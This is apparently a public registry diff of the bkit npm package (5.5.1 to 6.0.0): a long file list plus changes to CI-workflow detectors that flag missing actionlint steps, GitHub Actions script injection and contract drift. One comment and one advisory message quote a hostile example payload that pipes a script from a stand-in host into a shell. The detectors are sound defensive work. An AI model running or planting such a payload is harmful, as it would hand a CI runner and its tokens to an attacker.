@cbartens/bkit 5.5.1 → 6.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.bkit/README.md +30 -20
- package/.bkit/core/.agents/docs.md +1 -0
- package/.bkit/core/.agents/rules.md +35 -26
- package/.bkit/core/.bkit/README.md +29 -19
- package/.bkit/core/.bkit/authoring.md +117 -0
- package/.bkit/core/.bkit/cloud.md +11 -11
- package/.bkit/core/.bkit/comparison.md +5 -5
- package/.bkit/core/.bkit/install.md +19 -18
- package/.bkit/core/.bkit/jsonl.md +202 -122
- package/.bkit/core/.bkit/lite.md +1 -1
- package/.bkit/core/.bkit/pipeline.md +49 -52
- package/.bkit/core/.bkit/prompts.md +91 -167
- package/.bkit/core/.bkit/providers.md +29 -32
- package/.bkit/core/.bkit/templates.md +12 -11
- package/.bkit/core/.bkit/trackers.md +51 -28
- package/.bkit/core/.bkit/workflows.md +394 -355
- package/.bkit/core/AGENTS.md +16 -22
- package/.bkit/core/docs/templates/bkit-audit-accessibility.md +14 -38
- package/.bkit/core/docs/templates/bkit-audit-adoption.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-agents.md +19 -43
- package/.bkit/core/docs/templates/bkit-audit-aio-seo.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-analytics.md +14 -38
- package/.bkit/core/docs/templates/bkit-audit-annotations.md +11 -35
- package/.bkit/core/docs/templates/bkit-audit-app-performance.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-app-store.md +12 -36
- package/.bkit/core/docs/templates/bkit-audit-architecture.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-ci-performance.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-config.md +18 -42
- package/.bkit/core/docs/templates/bkit-audit-cost.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-coverage.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-database.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-dead-code.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-deferrals.md +15 -38
- package/.bkit/core/docs/templates/bkit-audit-dependencies.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-documentation.md +11 -35
- package/.bkit/core/docs/templates/bkit-audit-duplication.md +18 -42
- package/.bkit/core/docs/templates/bkit-audit-failures.md +13 -37
- package/.bkit/core/docs/templates/bkit-audit-flakes.md +12 -36
- package/.bkit/core/docs/templates/bkit-audit-gates.md +14 -38
- package/.bkit/core/docs/templates/bkit-audit-issues.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-llm.md +16 -40
- package/.bkit/core/docs/templates/bkit-audit-logs.md +14 -38
- package/.bkit/core/docs/templates/bkit-audit-models.md +12 -36
- package/.bkit/core/docs/templates/bkit-audit-privacy.md +12 -36
- package/.bkit/core/docs/templates/bkit-audit-prompts.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-red-team.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-reliability.md +15 -39
- package/.bkit/core/docs/templates/bkit-audit-repo.md +12 -36
- package/.bkit/core/docs/templates/bkit-audit-security.md +13 -37
- package/.bkit/core/docs/templates/bkit-audit-slop.md +14 -38
- package/.bkit/core/docs/templates/bkit-audit-testing.md +12 -36
- package/.bkit/core/docs/templates/bkit-audit-usability.md +16 -40
- package/.bkit/core/docs/templates/bkit-plan.md +97 -226
- package/.bkit/core/engine/checks/after/ci-yml.ts +39 -29
- package/.bkit/core/engine/checks/after/github.ts +95 -17
- package/.bkit/core/engine/checks/after/index.ts +10 -7
- package/.bkit/core/engine/checks/after/suppression.ts +8 -5
- package/.bkit/core/engine/checks/after/tools.ts +46 -91
- package/.bkit/core/engine/checks/before/env.ts +2 -2
- package/.bkit/core/engine/checks/before/files.ts +5 -4
- package/.bkit/core/engine/checks/before/index.ts +18 -1
- package/.bkit/core/engine/checks/before/repo.ts +168 -2
- package/.bkit/core/engine/checks/tips/catalogue.ts +16 -5
- package/.bkit/core/engine/checks/tips/detect.ts +34 -0
- package/.bkit/core/engine/checks/tips/index.ts +6 -6
- package/.bkit/core/engine/cli.ts +20 -53
- package/.bkit/core/engine/commands/analysis.ts +171 -140
- package/.bkit/core/engine/commands/ci/ci.ts +6 -6
- package/.bkit/core/engine/commands/comply.ts +77 -103
- package/.bkit/core/engine/commands/install/doctor.ts +2 -2
- package/.bkit/core/engine/commands/install/install.ts +57 -18
- package/.bkit/core/engine/commands/install/uninstall.ts +65 -28
- package/.bkit/core/engine/commands/land.ts +18 -12
- package/.bkit/core/engine/commands/lib.ts +79 -17
- package/.bkit/core/engine/commands/registry.ts +4 -0
- package/.bkit/core/engine/commands/setup/setup.ts +7 -7
- package/.bkit/core/engine/commands/stats.ts +204 -0
- package/.bkit/core/engine/commands/tips.ts +10 -5
- package/.bkit/core/engine/commands/workflow/branches.ts +741 -62
- package/.bkit/core/engine/commands/workflow/challenge.ts +673 -0
- package/.bkit/core/engine/commands/workflow/context.ts +853 -29
- package/.bkit/core/engine/commands/workflow/counters.ts +267 -84
- package/.bkit/core/engine/commands/workflow/decisions.ts +541 -0
- package/.bkit/core/engine/commands/workflow/disk.ts +2 -2
- package/.bkit/core/engine/commands/workflow/fids.ts +793 -33
- package/.bkit/core/engine/commands/workflow/issues.ts +407 -64
- package/.bkit/core/engine/commands/workflow/ledgers.ts +884 -27
- package/.bkit/core/engine/commands/workflow/locks.ts +26 -2
- package/.bkit/core/engine/commands/workflow/plan-blocks.ts +582 -0
- package/.bkit/core/engine/commands/workflow/plan-versions.ts +21 -0
- package/.bkit/core/engine/commands/workflow/prs.ts +166 -30
- package/.bkit/core/engine/commands/workflow/repo.ts +58 -8
- package/.bkit/core/engine/commands/workflow/roadmap.ts +16 -7
- package/.bkit/core/engine/commands/workflow/run-facts.ts +501 -0
- package/.bkit/core/engine/commands/workflow/runs.ts +179 -49
- package/.bkit/core/engine/commands/workflow/runtime.ts +22 -1
- package/.bkit/core/engine/commands/workflow/status.ts +142 -29
- package/.bkit/core/engine/commands/workflow/step-table.ts +339 -0
- package/.bkit/core/engine/commands/workflow/steps.ts +213 -88
- package/.bkit/core/engine/commands/workflow/summary.ts +398 -0
- package/.bkit/core/engine/commands/workflow/tests.ts +1013 -148
- package/.bkit/core/engine/commands/workflow/tracker.ts +1195 -0
- package/.bkit/core/engine/commands/workflow/workflows.ts +984 -207
- package/.bkit/core/engine/commands/workflow/workstreams.ts +11 -5
- package/.bkit/core/engine/commands/workflow/worktrees.ts +185 -8
- package/.bkit/core/engine/install/manifest.ts +11 -9
- package/.bkit/core/engine/install/modules/cloud.ts +21 -13
- package/.bkit/core/engine/install/modules/core.ts +250 -3
- package/.bkit/core/engine/install/modules/opencode.ts +2 -2
- package/.bkit/core/engine/install/version-file.ts +6 -2
- package/.bkit/core/engine/ledgers/migrate.ts +92 -0
- package/.bkit/core/engine/ledgers/status.ts +92 -15
- package/.bkit/core/engine/ledgers/telemetry.ts +1261 -254
- package/.bkit/core/engine/render/hosts.ts +4 -0
- package/.bkit/core/engine/render/models.ts +12 -0
- package/.bkit/core/engine/shared/branches.ts +4 -1
- package/.bkit/core/engine/shared/egress.ts +7 -0
- package/.bkit/core/engine/shared/json.ts +25 -7
- package/.bkit/core/engine/shared/settings.ts +157 -20
- package/.bkit/core/engine/shared/text.ts +361 -0
- package/.bkit/core/engine/tools/grammar-density.ts +215 -0
- package/.bkit/core/engine/tools/instructions-sources.ts +834 -0
- package/.bkit/core/engine/tools/instructions.ts +1751 -0
- package/.bkit/core/hooks/gateguard-engine.js +24 -23
- package/.bkit/core/hooks/guardrails-shell.js +2 -3
- package/.bkit/core/hooks/guardrails-tiers.js +7 -1
- package/.bkit/core/hooks/readguard-engine.js +2 -2
- package/.bkit/core/prompts/bkit-audit-generate.md +62 -25
- package/.bkit/core/prompts/bkit-build-challenge-1.md +40 -17
- package/.bkit/core/prompts/bkit-build-challenge-2.md +44 -17
- package/.bkit/core/prompts/bkit-build-install-skills.md +26 -13
- package/.bkit/core/prompts/bkit-build-plan-convert.md +74 -0
- package/.bkit/core/prompts/bkit-build-plan-current.md +26 -13
- package/.bkit/core/prompts/bkit-build-plan-execute.md +74 -26
- package/.bkit/core/prompts/bkit-build-plan-gaps-remediate.md +64 -23
- package/.bkit/core/prompts/bkit-build-plan-verify.md +57 -33
- package/.bkit/core/prompts/bkit-debug-abort-handover.md +29 -15
- package/.bkit/core/prompts/bkit-debug-failure-diagnose.md +34 -14
- package/.bkit/core/prompts/bkit-debug-failure-remediate.md +34 -17
- package/.bkit/core/prompts/bkit-debug-failure-reproduce.md +26 -13
- package/.bkit/core/prompts/bkit-debug-failure-soak.md +31 -16
- package/.bkit/core/prompts/bkit-design-brainstorm-ideate-1.md +21 -11
- package/.bkit/core/prompts/bkit-design-brainstorm-ideate-2.md +20 -11
- package/.bkit/core/prompts/bkit-design-brainstorm-ideate-3.md +20 -11
- package/.bkit/core/prompts/bkit-design-generate.md +32 -14
- package/.bkit/core/prompts/bkit-design-organise.md +25 -12
- package/.bkit/core/prompts/bkit-design-review-1.md +31 -15
- package/.bkit/core/prompts/bkit-design-review-2.md +28 -13
- package/.bkit/core/prompts/bkit-design-spike.md +30 -13
- package/.bkit/core/prompts/bkit-design-update.md +33 -19
- package/.bkit/core/prompts/bkit-plan-generate.md +72 -18
- package/.bkit/core/prompts/bkit-plan-review-1.md +50 -27
- package/.bkit/core/prompts/bkit-plan-review-2.md +59 -28
- package/.bkit/core/prompts/bkit-plan-scope-check.md +109 -0
- package/.bkit/core/prompts/bkit-plan-update.md +61 -24
- package/.bkit/core/prompts/bkit-ship-conflict-resolve.md +27 -15
- package/.bkit/core/prompts/bkit-ship-deferred-sweep.md +31 -16
- package/.bkit/core/prompts/bkit-ship-update-docs.md +29 -14
- package/.bkit/core/prompts/bkit-utility-compress-markdown.md +24 -14
- package/.bkit/core/prompts/bkit-utility-update-decisions.md +32 -14
- package/.bkit/core/prompts/bkit-utility-update-deferrals.md +29 -14
- package/.bkit/core/prompts/bkit-utility-update-documentation.md +27 -12
- package/.bkit/core/prompts/bkit-utility-update-failures.md +31 -14
- package/.bkit/core/prompts/bkit-utility-update-knowledge.md +33 -14
- package/.bkit/core/prompts/bkit-utility-update-roadmap.md +38 -17
- package/.bkit/core/prompts/bkit-utility-update-tracker.md +41 -18
- package/.bkit/core/workflows/bkit-auto.md +54 -46
- package/.bkit/core/workflows/bkit-build.md +577 -458
- package/.bkit/core/workflows/bkit-debug.md +348 -333
- package/.bkit/core/workflows/bkit-design.md +201 -237
- package/.bkit/core/workflows/bkit-plan.md +210 -321
- package/.bkit/core/workflows/bkit-ship.md +328 -278
- package/.bkit/shared/.bkit/.env.example +2 -2
- package/.bkit/shared/.claude/settings.json +11 -0
- package/.bkit/shared/.cursor/mcp.json +1 -1
- package/.bkit/shared/.cursor/rules/bkit-rules.mdc +1 -1
- package/.bkit/shared/.gitattributes +1 -1
- package/.bkit/shared/.mcp.json +1 -1
- package/.bkit/shared/.opencode/opencode.json +11 -0
- package/.bkit/shared/CLAUDE.md +2 -2
- package/.bkit/shared/GEMINI.md +2 -2
- package/.bkit/shared/docs/architecture.md +1 -1
- package/.bkit/shared/docs/data-schema.md +1 -1
- package/.bkit/shared/docs/deployments.md +11 -11
- package/.bkit/shared/docs/design.md +1 -1
- package/.bkit/shared/docs/noise.md +1 -1
- package/.bkit/shared/docs/observability.md +2 -2
- package/.bkit/shared/docs/security.md +1 -1
- package/.bkit/shared/docs/setup.md +1 -1
- package/.bkit/shared/docs/technology.md +1 -1
- package/.bkit/shared/docs/testing.md +16 -7
- package/.bkit/templates/.claude/hooks/bkit-cloud-bootstrap.sh +1 -1
- package/.bkit/templates/.github/ISSUE_TEMPLATE/bkit-change.yml +26 -5
- package/.bkit/templates/.github/workflows/bkit-ci.yml +1 -1
- package/.bkit/templates/.github/workflows/bkit-cloud.yml +21 -19
- package/.bkit/templates/.husky/pre-push +4 -4
- package/.bkit/templates/.prettierignore +7 -0
- package/.bkit/templates/scripts/cleanup/bkit-disk-prune.mjs +1 -1
- package/CHANGELOG.md +112 -0
- package/README.md +50 -35
- package/dist/checks/after/ci-yml.js +39 -28
- package/dist/checks/after/github.js +91 -17
- package/dist/checks/after/index.js +11 -8
- package/dist/checks/after/suppression.js +8 -5
- package/dist/checks/after/tools.js +39 -82
- package/dist/checks/before/env.js +2 -2
- package/dist/checks/before/files.js +5 -3
- package/dist/checks/before/index.js +15 -2
- package/dist/checks/before/repo.js +163 -2
- package/dist/checks/tips/catalogue.js +14 -5
- package/dist/checks/tips/detect.js +32 -0
- package/dist/checks/tips/index.js +4 -4
- package/dist/cli.js +19 -47
- package/dist/commands/analysis.js +109 -100
- package/dist/commands/ci/ci.js +6 -6
- package/dist/commands/comply.js +54 -91
- package/dist/commands/install/doctor.js +2 -2
- package/dist/commands/install/install.js +50 -19
- package/dist/commands/install/uninstall.js +59 -28
- package/dist/commands/land.js +16 -12
- package/dist/commands/lib.js +51 -16
- package/dist/commands/registry.js +4 -0
- package/dist/commands/setup/setup.js +7 -7
- package/dist/commands/stats.js +136 -0
- package/dist/commands/tips.js +7 -3
- package/dist/commands/workflow/branches.js +656 -56
- package/dist/commands/workflow/challenge.js +556 -0
- package/dist/commands/workflow/context.js +709 -30
- package/dist/commands/workflow/counters.js +208 -75
- package/dist/commands/workflow/decisions.js +441 -0
- package/dist/commands/workflow/disk.js +2 -2
- package/dist/commands/workflow/fids.js +689 -33
- package/dist/commands/workflow/issues.js +343 -59
- package/dist/commands/workflow/ledgers.js +762 -27
- package/dist/commands/workflow/locks.js +24 -2
- package/dist/commands/workflow/plan-blocks.js +437 -0
- package/dist/commands/workflow/plan-versions.js +22 -0
- package/dist/commands/workflow/prs.js +142 -32
- package/dist/commands/workflow/repo.js +52 -8
- package/dist/commands/workflow/roadmap.js +9 -7
- package/dist/commands/workflow/run-facts.js +426 -0
- package/dist/commands/workflow/runs.js +144 -43
- package/dist/commands/workflow/runtime.js +12 -1
- package/dist/commands/workflow/status.js +130 -29
- package/dist/commands/workflow/step-table.js +276 -0
- package/dist/commands/workflow/steps.js +171 -80
- package/dist/commands/workflow/summary.js +275 -0
- package/dist/commands/workflow/tests.js +834 -136
- package/dist/commands/workflow/tracker.js +983 -0
- package/dist/commands/workflow/workflows.js +834 -195
- package/dist/commands/workflow/workstreams.js +11 -5
- package/dist/commands/workflow/worktrees.js +147 -9
- package/dist/install/manifest.js +11 -9
- package/dist/install/modules/cloud.js +22 -13
- package/dist/install/modules/core.js +247 -3
- package/dist/install/modules/opencode.js +2 -2
- package/dist/install/version-file.js +6 -2
- package/dist/ledgers/migrate.js +81 -0
- package/dist/ledgers/status.js +61 -8
- package/dist/ledgers/telemetry.js +905 -124
- package/dist/render/hosts.js +4 -0
- package/dist/render/models.js +12 -0
- package/dist/shared/branches.js +3 -1
- package/dist/shared/egress.js +7 -0
- package/dist/shared/json.js +20 -7
- package/dist/shared/settings.js +125 -17
- package/dist/shared/text.js +333 -0
- package/dist/tools/grammar-density.js +183 -0
- package/dist/tools/instructions-sources.js +721 -0
- package/dist/tools/instructions.js +1579 -0
- package/package.json +113 -24
- package/.bkit/core/engine/commands/harvest.ts +0 -459
- package/.bkit/core/engine/tools/wording.ts +0 -748
- package/.bkit/core/prompts/bkit-build-challenge-reconcile.md +0 -69
- package/.bkit/core/prompts/bkit-build-challenge-remediate.md +0 -71
- package/.bkit/core/prompts/bkit-build-challenge-tests.md +0 -74
- package/.bkit/core/prompts/bkit-build-summary.md +0 -94
- package/.bkit/core/prompts/bkit-debug-summary.md +0 -96
- package/.bkit/core/prompts/bkit-design-summary.md +0 -107
- package/.bkit/core/prompts/bkit-plan-complexity-check.md +0 -67
- package/.bkit/core/prompts/bkit-plan-complexity-split.md +0 -88
- package/.bkit/core/prompts/bkit-plan-review-3.md +0 -93
- package/.bkit/core/prompts/bkit-plan-scope-check-1.md +0 -85
- package/.bkit/core/prompts/bkit-plan-scope-check-2.md +0 -85
- package/.bkit/core/prompts/bkit-plan-summary.md +0 -107
- package/.bkit/core/prompts/bkit-ship-summary.md +0 -78
- package/dist/commands/harvest.js +0 -353
- package/dist/tools/wording.js +0 -680
|
@@ -5,6 +5,7 @@ import * as fs from "node:fs";
|
|
|
5
5
|
import * as path from "node:path";
|
|
6
6
|
import { readJsonFile } from "../../shared/json.js";
|
|
7
7
|
import { readPackageJson } from "../../shared/package-json.js";
|
|
8
|
+
import { ciWorkflowPath, readBkitConfig } from "../../shared/settings.js";
|
|
8
9
|
import { isAdvisorySuppressed } from "./suppression.js";
|
|
9
10
|
// ---------------------------------------------------------------------------
|
|
10
11
|
// Other post-install detectors
|
|
@@ -43,23 +44,25 @@ export function detectBkitCloudYmlAlwaysTrueGate(cwd) {
|
|
|
43
44
|
};
|
|
44
45
|
}
|
|
45
46
|
/**
|
|
46
|
-
* Matches a
|
|
47
|
+
* Matches a CI workflow (`bkit.testing.ciWorkflow`) copied from the bkit-ci.yml template: an uncommented
|
|
47
48
|
* job named `bkit-tests` or `bkit-tests-<lane>`, the job names every lane of the template
|
|
48
49
|
* carries.
|
|
49
50
|
*/
|
|
50
51
|
const ADOPTED_CI_JOB_RE = /^[ \t]+bkit-tests(?:-[\w-]+)?:[ \t]*$/m;
|
|
51
52
|
/**
|
|
52
|
-
* Detect a
|
|
53
|
+
* Detect a CI workflow (`bkit.testing.ciWorkflow`, default `bkit-ci.yml`) adopted from bkit's
|
|
54
|
+
* template with no `actionlint` step.
|
|
53
55
|
* `yaml.safe_load` (and generic YAML linters) accept workflows that are valid YAML
|
|
54
56
|
* but invalid GitHub Actions (doubled quotes inside ${{ }}, always-true `if:` block
|
|
55
57
|
* scalars). actionlint is GHA-aware and catches that class.
|
|
56
58
|
*
|
|
57
59
|
* Only fires when the consumer adopted the bkit-ci.yml template (ADOPTED_CI_JOB_RE).
|
|
58
|
-
*
|
|
60
|
+
* The CI workflow is the consumer's file, so `bkit install` never adds the step — the action
|
|
59
61
|
* inlines the manual step.
|
|
60
62
|
*/
|
|
61
63
|
export function detectCiYmlMissingActionlint(cwd) {
|
|
62
|
-
const
|
|
64
|
+
const ciRel = ciWorkflowPath(cwd);
|
|
65
|
+
const ciPath = path.join(cwd, ciRel);
|
|
63
66
|
if (!fs.existsSync(ciPath))
|
|
64
67
|
return null;
|
|
65
68
|
const content = fs.readFileSync(ciPath, "utf-8");
|
|
@@ -70,8 +73,9 @@ export function detectCiYmlMissingActionlint(cwd) {
|
|
|
70
73
|
return {
|
|
71
74
|
id: "ci-yml-missing-actionlint",
|
|
72
75
|
severity: "advisory",
|
|
73
|
-
detect:
|
|
74
|
-
|
|
76
|
+
detect: `${ciRel} (adopted from bkit's template) has no actionlint step. ` +
|
|
77
|
+
"yaml.safe_load accepts workflows that are valid YAML but invalid GitHub Actions (e.g. doubled quotes inside ${{ }}, an always-true `if:` block scalar); actionlint is GHA-aware and catches them.",
|
|
78
|
+
action: `Add an actionlint step among the static checks in ${ciRel} (before the test/build group):\n\n` +
|
|
75
79
|
" - name: Run actionlint\n" +
|
|
76
80
|
" run: |\n" +
|
|
77
81
|
' curl -sSfL https://raw.githubusercontent.com/rhysd/actionlint/v1.7.12/scripts/download-actionlint.bash -o "$RUNNER_TEMP/download-actionlint.bash"\n' +
|
|
@@ -81,11 +85,11 @@ export function detectCiYmlMissingActionlint(cwd) {
|
|
|
81
85
|
}
|
|
82
86
|
/**
|
|
83
87
|
* Detect an untrusted GitHub Actions expression interpolated directly into a `run:` shell
|
|
84
|
-
* body in
|
|
88
|
+
* body in the CI workflow (`bkit.testing.ciWorkflow`) — the classic GHA script-injection sink. A PR titled
|
|
85
89
|
* `"; curl evil.sh | bash; "` expands into the runner's shell when `${{ github.event.* }}`
|
|
86
90
|
* (or `github.head_ref`) is inlined into `run:` text. The safe form is env-indirection: map
|
|
87
91
|
* the value to an `env:` var and reference `$VAR` (GitHub runtime-expands env values and never
|
|
88
|
-
* re-parses them as shell).
|
|
92
|
+
* re-parses them as shell). The CI workflow is the consumer's file — bkit's template was hardened but
|
|
89
93
|
* nothing back-fills a copy adopted before the fix, so it keeps the vulnerable inline form.
|
|
90
94
|
* This surfaces it as a dedicated security finding.
|
|
91
95
|
*
|
|
@@ -93,10 +97,11 @@ export function detectCiYmlMissingActionlint(cwd) {
|
|
|
93
97
|
* indentation and flags untrusted expressions inside their bodies only. `env:` / `if:` /
|
|
94
98
|
* `with:` / `concurrency:` contexts are NOT run bodies, so the safe env-indirection form does
|
|
95
99
|
* not fire; a YAML-commented `run:` key never opens a body, so shipped commented stubs stay
|
|
96
|
-
* silent. Only scans a
|
|
100
|
+
* silent. Only scans a CI workflow adopted from bkit's template (ADOPTED_CI_JOB_RE).
|
|
97
101
|
*/
|
|
98
102
|
export function detectCiYmlRunInjection(cwd) {
|
|
99
|
-
const
|
|
103
|
+
const ciRel = ciWorkflowPath(cwd);
|
|
104
|
+
const ciPath = path.join(cwd, ciRel);
|
|
100
105
|
if (!fs.existsSync(ciPath))
|
|
101
106
|
return null;
|
|
102
107
|
const content = fs.readFileSync(ciPath, "utf-8");
|
|
@@ -149,7 +154,7 @@ export function detectCiYmlRunInjection(cwd) {
|
|
|
149
154
|
return {
|
|
150
155
|
id: "ci-yml-run-injection",
|
|
151
156
|
severity: "advisory",
|
|
152
|
-
detect:
|
|
157
|
+
detect: `SECURITY: ${ciRel} interpolates untrusted GitHub Actions input ` +
|
|
153
158
|
"(github.event.* / github.head_ref) directly into a run: shell body — a script-injection " +
|
|
154
159
|
'sink. A PR title or branch name like `"; curl evil.sh | bash; "` then runs on your CI ' +
|
|
155
160
|
`runner (which holds GITHUB_TOKEN):\n${shown}${more}`,
|
|
@@ -166,25 +171,29 @@ export function detectCiYmlRunInjection(cwd) {
|
|
|
166
171
|
};
|
|
167
172
|
}
|
|
168
173
|
/**
|
|
169
|
-
* Detect drift of the consumer's
|
|
170
|
-
*
|
|
174
|
+
* Detect drift of the consumer's capstone job (`bkit.testing.ciCapstone`, default
|
|
175
|
+
* `bkit-tests-check`) from bkit's canonical CI contract. The CI workflow
|
|
176
|
+
* (`bkit.testing.ciWorkflow`) is the consumer's copy of a template; bkit never rewrites it.
|
|
171
177
|
* WARNING-ONLY presence check: flags the ABSENCE of a known-good fragment, never
|
|
172
|
-
* "differs from canonical". Fires when
|
|
178
|
+
* "differs from canonical". Fires when the CI workflow defines the capstone job (the
|
|
173
179
|
* template ships one).
|
|
174
180
|
*
|
|
175
181
|
* Every check reads `code` (full-line comments stripped): the template's commented
|
|
176
182
|
* scaffold reference names `bkit-tests-check`, `!cancelled()` and `live_ran`.
|
|
177
183
|
*/
|
|
178
184
|
export function detectCiYmlCapstoneContractDrift(cwd) {
|
|
179
|
-
const
|
|
185
|
+
const ciRel = ciWorkflowPath(cwd);
|
|
186
|
+
const ciPath = path.join(cwd, ciRel);
|
|
180
187
|
if (!fs.existsSync(ciPath))
|
|
181
188
|
return null;
|
|
189
|
+
const capstone = readBkitConfig(cwd).capstoneJob;
|
|
182
190
|
const content = fs.readFileSync(ciPath, "utf-8");
|
|
183
191
|
const code = content
|
|
184
192
|
.split("\n")
|
|
185
193
|
.filter((line) => !/^\s*#/.test(line))
|
|
186
194
|
.join("\n");
|
|
187
|
-
|
|
195
|
+
const capstoneJobRe = new RegExp(`^\\s+${capstone.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")}:`, "m");
|
|
196
|
+
if (!capstoneJobRe.test(code))
|
|
188
197
|
return null; // no capstone job
|
|
189
198
|
const missing = [];
|
|
190
199
|
// 1. Capstone must run on !cancelled() (NOT always()) — else a concurrency-cancel
|
|
@@ -220,8 +229,8 @@ export function detectCiYmlCapstoneContractDrift(cwd) {
|
|
|
220
229
|
return {
|
|
221
230
|
id: "ci-yml-capstone-contract-drift",
|
|
222
231
|
severity: "advisory",
|
|
223
|
-
detect:
|
|
224
|
-
|
|
232
|
+
detect: `${ciRel} (adopted from bkit's template) has a ${capstone} capstone missing ${missing.length} ` +
|
|
233
|
+
`load-bearing invariant(s) from bkit's canonical CI contract. ${ciRel} is yours to own, so bkit can't rewrite it — this is a heads-up, not a hard failure.`,
|
|
225
234
|
action: "Consider restoring these to keep `green == validated` (see the FULL CI SCAFFOLD REFERENCE in the bkit bkit-ci.yml template):\n\n" +
|
|
226
235
|
missing.map((m) => " - " + m).join("\n"),
|
|
227
236
|
};
|
|
@@ -358,7 +367,7 @@ function tagUsedInTestTitle(text, tag, mask) {
|
|
|
358
367
|
* declares the script); a silent no-op otherwise. WARNING-only; the capstone's
|
|
359
368
|
* `run_live => live_ran > 0` assertion is the runtime check.
|
|
360
369
|
*
|
|
361
|
-
* A package whose own `package.json` opts out (`bkit.
|
|
370
|
+
* A package whose own `package.json` opts out (`bkit.advisories.ignore`) is dropped from the
|
|
362
371
|
* list and reported via `onSuppressed`; sibling packages keep flagging, because the finding
|
|
363
372
|
* aggregates every affected package into one entry.
|
|
364
373
|
*/
|
|
@@ -449,7 +458,7 @@ export function detectTaggedTestsWithoutCiHome(cwd, onSuppressed) {
|
|
|
449
458
|
lines.join("\n") +
|
|
450
459
|
'\n\nExample: `"test:live": "vitest run --project live"` (or your runner\'s tag filter). The bkit-tests-check capstone\'s `run_live => live_ran > 0` assertion is the runtime backstop; this catches it earlier.' +
|
|
451
460
|
"\n\nFalse positive? A title that only MENTIONS the tag (a rule linter describing it, a meta/guard test naming the scenario) is indistinguishable from a real tagged test. Opt that package out in its package.json — per-package, and it drops only that package from this list:\n\n" +
|
|
452
|
-
' "bkit": { "
|
|
461
|
+
' "bkit": { "advisories": { "ignore": ["tagged-tests-no-ci-home"] } }',
|
|
453
462
|
};
|
|
454
463
|
}
|
|
455
464
|
// ---------------------------------------------------------------------------
|
|
@@ -509,7 +518,7 @@ export function detectTurboIntegrationInputs(cwd) {
|
|
|
509
518
|
* env-agnostic script provisioned at the lane), (3) the vitest integration config the
|
|
510
519
|
* script points at (home of the documented in-file guard).
|
|
511
520
|
*
|
|
512
|
-
* Root-scoped opt-out: this detector reads only the root `package.json`, so a `bkit.
|
|
521
|
+
* Root-scoped opt-out: this detector reads only the root `package.json`, so a `bkit.advisories.ignore`
|
|
513
522
|
* entry there drops the finding and reports it via `onSuppressed`.
|
|
514
523
|
*/
|
|
515
524
|
export function detectTestIntegrationEnv(cwd, onSuppressed) {
|
|
@@ -572,7 +581,7 @@ export function detectTestIntegrationEnv(cwd, onSuppressed) {
|
|
|
572
581
|
" - CI lane: set `TEST_REAL_APIS` / export the service-role URL / chain `supabase start` around `turbo run test:integration` in the `.github/workflows/*.yml` job that runs it (keeps local `pnpm test:integration` env-agnostic)\n" +
|
|
573
582
|
" - vitest integration config: document/enforce the per-file `TEST_REAL_APIS` guard in the config the script `--config`s to.\n\n" +
|
|
574
583
|
"Mocked by design (real-service coverage lives in E2E)? Opt out in the root package.json:\n\n" +
|
|
575
|
-
' "bkit": { "
|
|
584
|
+
' "bkit": { "advisories": { "ignore": ["test-integration-env-not-asserted"] } }',
|
|
576
585
|
};
|
|
577
586
|
}
|
|
578
587
|
/**
|
|
@@ -619,11 +628,13 @@ export function detectGhaFloatingTags(cwd) {
|
|
|
619
628
|
* system documented in deployments.md is documentation-only.
|
|
620
629
|
*
|
|
621
630
|
* "Composition" = a `steps.detect.outputs.should_*` READ on an uncommented line, in a
|
|
622
|
-
* sibling workflow or in
|
|
631
|
+
* sibling workflow or in the CI workflow itself. bkit's shipped steps only SET these outputs and
|
|
623
632
|
* the example E2E gate ships commented (`bkit-stub:e2e`), so neither false-positives.
|
|
624
633
|
*/
|
|
625
634
|
export function detectRunLevelsNotComposed(cwd) {
|
|
626
|
-
const
|
|
635
|
+
const ciWorkflow = readBkitConfig(cwd).ciWorkflow;
|
|
636
|
+
const ciRel = ciWorkflowPath(cwd);
|
|
637
|
+
const ciPath = path.join(cwd, ciRel);
|
|
627
638
|
if (!fs.existsSync(ciPath))
|
|
628
639
|
return null;
|
|
629
640
|
const ciContent = fs.readFileSync(ciPath, "utf-8");
|
|
@@ -651,14 +662,14 @@ export function detectRunLevelsNotComposed(cwd) {
|
|
|
651
662
|
for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
|
|
652
663
|
if (!entry.isFile() || !/\.ya?ml$/.test(entry.name))
|
|
653
664
|
continue;
|
|
654
|
-
if (entry.name ===
|
|
665
|
+
if (entry.name === ciWorkflow)
|
|
655
666
|
continue; // checked below
|
|
656
667
|
if (composesRunLevels(fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8"))) {
|
|
657
668
|
composed = true;
|
|
658
669
|
break;
|
|
659
670
|
}
|
|
660
671
|
}
|
|
661
|
-
// Or a consumer-added gate inside
|
|
672
|
+
// Or a consumer-added gate inside the CI workflow itself (e.g. an enabled bkit-stub:e2e block,
|
|
662
673
|
// or a deploy/job step reading the outputs).
|
|
663
674
|
if (!composed && composesRunLevels(ciContent))
|
|
664
675
|
composed = true;
|
|
@@ -667,11 +678,11 @@ export function detectRunLevelsNotComposed(cwd) {
|
|
|
667
678
|
return {
|
|
668
679
|
id: "run-levels-not-composed",
|
|
669
680
|
severity: "advisory",
|
|
670
|
-
detect:
|
|
681
|
+
detect: `${ciRel} ships bkit's \`Detect Direct Push\` step outputs (\`should_force_build\`, \`should_run_full\`, \`cache.outputs.skip\`) but no consumer-side workflow or step gates on them.`,
|
|
671
682
|
action: "`docs/deployments.md` documents bkit's none / partial / full run-level shape — the matrix is documentation-only until you compose at least one consumer-side gate. Examples:\n\n" +
|
|
672
683
|
" - A deploy job: `if: steps.detect.outputs.should_force_build == 'true' || github.ref == 'refs/heads/main'`\n" +
|
|
673
684
|
